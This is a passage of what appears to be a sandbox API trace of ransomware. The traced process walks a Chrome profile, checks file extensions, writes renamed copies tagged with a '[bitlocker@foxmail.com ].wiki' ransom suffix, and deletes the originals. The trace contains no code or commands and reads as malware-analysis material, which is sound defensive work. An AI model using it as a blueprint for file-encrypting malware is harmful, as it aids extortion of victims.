lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.569] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0179.569] SetEndOfFile (hFile=0x160) returned 1 [0179.569] CloseHandle (hObject=0x160) returned 1 [0179.569] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.570] SetEndOfFile (hFile=0x334) returned 1 [0179.571] CloseHandle (hObject=0x334) returned 1 [0179.571] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.571] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 1 [0179.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.571] lstrlenW (lpString=".doc") returned 4 [0179.571] lstrcmpiW (lpString1=".doc", lpString2="Data") returned -1 [0179.571] lstrlenW (lpString=".docx") returned 5 [0179.571] lstrcmpiW (lpString1=".docx", lpString2=" Data") returned 1 [0179.571] lstrlenW (lpString=".pdf") returned 4 [0179.571] lstrcmpiW (lpString1=".pdf", lpString2="Data") returned -1 [0179.571] lstrlenW (lpString=".xls") returned 4 [0179.571] lstrcmpiW (lpString1=".xls", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString=".xlsx") returned 5 [0179.572] lstrcmpiW (lpString1=".xlsx", lpString2=" Data") returned 1 [0179.572] lstrlenW (lpString=".ppt") returned 4 [0179.572] lstrcmpiW (lpString1=".ppt", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString=".zip") returned 4 [0179.572] lstrcmpiW (lpString1=".zip", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString=".rar") returned 4 [0179.572] lstrcmpiW (lpString1=".rar", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString=".bz2") returned 4 [0179.572] lstrcmpiW (lpString1=".bz2", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString=".7z") returned 3 [0179.572] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString=".dbf") returned 4 [0179.572] lstrcmpiW (lpString1=".dbf", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString=".1cd") returned 4 [0179.572] lstrcmpiW (lpString1=".1cd", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString=".jpg") returned 4 [0179.572] lstrcmpiW (lpString1=".jpg", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.572] lstrlenW (lpString=".doc") returned 4 [0179.572] lstrcmpiW (lpString1=".doc", lpString2="Data") returned -1 [0179.572] lstrlenW (lpString=".docx") returned 5 [0179.572] lstrcmpiW (lpString1=".docx", lpString2=" Data") returned 1 [0179.573] lstrlenW (lpString=".pdf") returned 4 [0179.573] lstrcmpiW (lpString1=".pdf", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString=".xls") returned 4 [0179.573] lstrcmpiW (lpString1=".xls", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString=".xlsx") returned 5 [0179.573] lstrcmpiW (lpString1=".xlsx", lpString2=" Data") returned 1 [0179.573] lstrlenW (lpString=".ppt") returned 4 [0179.573] lstrcmpiW (lpString1=".ppt", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.573] lstrlenW (lpString=".zip") returned 4 [0179.573] lstrcmpiW (lpString1=".zip", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString=".rar") returned 4 [0179.573] lstrcmpiW (lpString1=".rar", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString=".bz2") returned 4 [0179.573] lstrcmpiW (lpString1=".bz2", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString=".7z") returned 3 [0179.573] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0179.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.573] lstrlenW (lpString=".dbf") returned 4 [0179.573] lstrcmpiW (lpString1=".dbf", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.573] lstrlenW (lpString=".1cd") returned 4 [0179.573] lstrcmpiW (lpString1=".1cd", lpString2="Data") returned -1 [0179.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 84 [0179.573] lstrlenW (lpString=".jpg") returned 4 [0179.573] lstrcmpiW (lpString1=".jpg", lpString2="Data") returned -1 [0179.574] lstrlenW (lpString="Web Data-journal") returned 16 [0179.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.574] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0179.574] CloseHandle (hObject=0x334) returned 1 [0179.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.574] lstrlenW (lpString=".doc") returned 4 [0179.574] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.574] lstrlenW (lpString=".docx") returned 5 [0179.574] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.574] lstrlenW (lpString=".pdf") returned 4 [0179.574] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.574] lstrlenW (lpString=".xls") returned 4 [0179.574] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.574] lstrlenW (lpString=".xlsx") returned 5 [0179.574] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.574] lstrlenW (lpString=".ppt") returned 4 [0179.575] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.575] lstrlenW (lpString=".zip") returned 4 [0179.575] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString=".rar") returned 4 [0179.575] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString=".bz2") returned 4 [0179.575] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString=".7z") returned 3 [0179.575] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.575] lstrlenW (lpString=".dbf") returned 4 [0179.575] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.575] lstrlenW (lpString=".1cd") returned 4 [0179.575] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.575] lstrlenW (lpString=".jpg") returned 4 [0179.575] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.576] lstrlenW (lpString=".doc") returned 4 [0179.576] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".docx") returned 5 [0179.576] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.576] lstrlenW (lpString=".pdf") returned 4 [0179.576] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".xls") returned 4 [0179.576] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".xlsx") returned 5 [0179.576] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.576] lstrlenW (lpString=".ppt") returned 4 [0179.576] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.576] lstrlenW (lpString=".zip") returned 4 [0179.576] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".rar") returned 4 [0179.576] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".bz2") returned 4 [0179.576] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.576] lstrlenW (lpString=".7z") returned 3 [0179.576] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.576] lstrlenW (lpString=".dbf") returned 4 [0179.576] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.577] lstrlenW (lpString=".1cd") returned 4 [0179.577] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 92 [0179.577] lstrlenW (lpString=".jpg") returned 4 [0179.577] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.577] lstrlenW (lpString="First Run") returned 9 [0179.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.577] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0179.577] CloseHandle (hObject=0x334) returned 1 [0179.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.578] lstrlenW (lpString=".doc") returned 4 [0179.578] lstrcmpiW (lpString1=".doc", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".docx") returned 5 [0179.578] lstrcmpiW (lpString1=".docx", lpString2="t Run") returned -1 [0179.578] lstrlenW (lpString=".pdf") returned 4 [0179.578] lstrcmpiW (lpString1=".pdf", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".xls") returned 4 [0179.578] lstrcmpiW (lpString1=".xls", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".xlsx") returned 5 [0179.578] lstrcmpiW (lpString1=".xlsx", lpString2="t Run") returned -1 [0179.578] lstrlenW (lpString=".ppt") returned 4 [0179.578] lstrcmpiW (lpString1=".ppt", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.578] lstrlenW (lpString=".zip") returned 4 [0179.578] lstrcmpiW (lpString1=".zip", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".rar") returned 4 [0179.578] lstrcmpiW (lpString1=".rar", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".bz2") returned 4 [0179.578] lstrcmpiW (lpString1=".bz2", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString=".7z") returned 3 [0179.578] lstrcmpiW (lpString1=".7z", lpString2="Run") returned -1 [0179.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.578] lstrlenW (lpString=".dbf") returned 4 [0179.578] lstrcmpiW (lpString1=".dbf", lpString2=" Run") returned 1 [0179.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.578] lstrlenW (lpString=".1cd") returned 4 [0179.578] lstrcmpiW (lpString1=".1cd", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.579] lstrlenW (lpString=".jpg") returned 4 [0179.579] lstrcmpiW (lpString1=".jpg", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.579] lstrlenW (lpString=".doc") returned 4 [0179.579] lstrcmpiW (lpString1=".doc", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".docx") returned 5 [0179.579] lstrcmpiW (lpString1=".docx", lpString2="t Run") returned -1 [0179.579] lstrlenW (lpString=".pdf") returned 4 [0179.579] lstrcmpiW (lpString1=".pdf", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".xls") returned 4 [0179.579] lstrcmpiW (lpString1=".xls", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".xlsx") returned 5 [0179.579] lstrcmpiW (lpString1=".xlsx", lpString2="t Run") returned -1 [0179.579] lstrlenW (lpString=".ppt") returned 4 [0179.579] lstrcmpiW (lpString1=".ppt", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.579] lstrlenW (lpString=".zip") returned 4 [0179.579] lstrcmpiW (lpString1=".zip", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".rar") returned 4 [0179.579] lstrcmpiW (lpString1=".rar", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".bz2") returned 4 [0179.579] lstrcmpiW (lpString1=".bz2", lpString2=" Run") returned 1 [0179.579] lstrlenW (lpString=".7z") returned 3 [0179.579] lstrcmpiW (lpString1=".7z", lpString2="Run") returned -1 [0179.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.580] lstrlenW (lpString=".dbf") returned 4 [0179.580] lstrcmpiW (lpString1=".dbf", lpString2=" Run") returned 1 [0179.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.580] lstrlenW (lpString=".1cd") returned 4 [0179.580] lstrcmpiW (lpString1=".1cd", lpString2=" Run") returned 1 [0179.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 77 [0179.580] lstrlenW (lpString=".jpg") returned 4 [0179.580] lstrcmpiW (lpString1=".jpg", lpString2=" Run") returned 1 [0179.580] lstrlenW (lpString="Local State") returned 11 [0179.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.580] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=67626) returned 1 [0179.580] CloseHandle (hObject=0x334) returned 1 [0179.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0x2020 [0179.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.581] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.581] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.581] GetLastError () returned 0x0 [0179.581] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x1082a, lpOverlapped=0x0) returned 1 [0179.610] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x10830, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x10830, lpOverlapped=0x0) returned 1 [0179.611] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.612] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0179.612] SetEndOfFile (hFile=0x160) returned 1 [0179.612] CloseHandle (hObject=0x160) returned 1 [0179.620] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.620] SetEndOfFile (hFile=0x334) returned 1 [0179.621] CloseHandle (hObject=0x334) returned 1 [0179.621] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.621] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state")) returned 1 [0179.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.622] lstrlenW (lpString=".doc") returned 4 [0179.622] lstrcmpiW (lpString1=".doc", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".docx") returned 5 [0179.622] lstrcmpiW (lpString1=".docx", lpString2="State") returned -1 [0179.622] lstrlenW (lpString=".pdf") returned 4 [0179.622] lstrcmpiW (lpString1=".pdf", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".xls") returned 4 [0179.622] lstrcmpiW (lpString1=".xls", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".xlsx") returned 5 [0179.622] lstrcmpiW (lpString1=".xlsx", lpString2="State") returned -1 [0179.622] lstrlenW (lpString=".ppt") returned 4 [0179.622] lstrcmpiW (lpString1=".ppt", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.622] lstrlenW (lpString=".zip") returned 4 [0179.622] lstrcmpiW (lpString1=".zip", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".rar") returned 4 [0179.622] lstrcmpiW (lpString1=".rar", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".bz2") returned 4 [0179.622] lstrcmpiW (lpString1=".bz2", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString=".7z") returned 3 [0179.622] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0179.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.622] lstrlenW (lpString=".dbf") returned 4 [0179.622] lstrcmpiW (lpString1=".dbf", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.622] lstrlenW (lpString=".1cd") returned 4 [0179.622] lstrcmpiW (lpString1=".1cd", lpString2="tate") returned -1 [0179.622] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString=".jpg") returned 4 [0179.623] lstrcmpiW (lpString1=".jpg", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString=".doc") returned 4 [0179.623] lstrcmpiW (lpString1=".doc", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".docx") returned 5 [0179.623] lstrcmpiW (lpString1=".docx", lpString2="State") returned -1 [0179.623] lstrlenW (lpString=".pdf") returned 4 [0179.623] lstrcmpiW (lpString1=".pdf", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".xls") returned 4 [0179.623] lstrcmpiW (lpString1=".xls", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".xlsx") returned 5 [0179.623] lstrcmpiW (lpString1=".xlsx", lpString2="State") returned -1 [0179.623] lstrlenW (lpString=".ppt") returned 4 [0179.623] lstrcmpiW (lpString1=".ppt", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString=".zip") returned 4 [0179.623] lstrcmpiW (lpString1=".zip", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".rar") returned 4 [0179.623] lstrcmpiW (lpString1=".rar", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".bz2") returned 4 [0179.623] lstrcmpiW (lpString1=".bz2", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString=".7z") returned 3 [0179.623] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0179.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString=".dbf") returned 4 [0179.623] lstrcmpiW (lpString1=".dbf", lpString2="tate") returned -1 [0179.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.623] lstrlenW (lpString=".1cd") returned 4 [0179.624] lstrcmpiW (lpString1=".1cd", lpString2="tate") returned -1 [0179.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79 [0179.624] lstrlenW (lpString=".jpg") returned 4 [0179.624] lstrcmpiW (lpString1=".jpg", lpString2="tate") returned -1 [0179.624] lstrlenW (lpString="Safe Browsing Channel IDs-journal") returned 33 [0179.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.624] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0179.624] CloseHandle (hObject=0x334) returned 1 [0179.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") 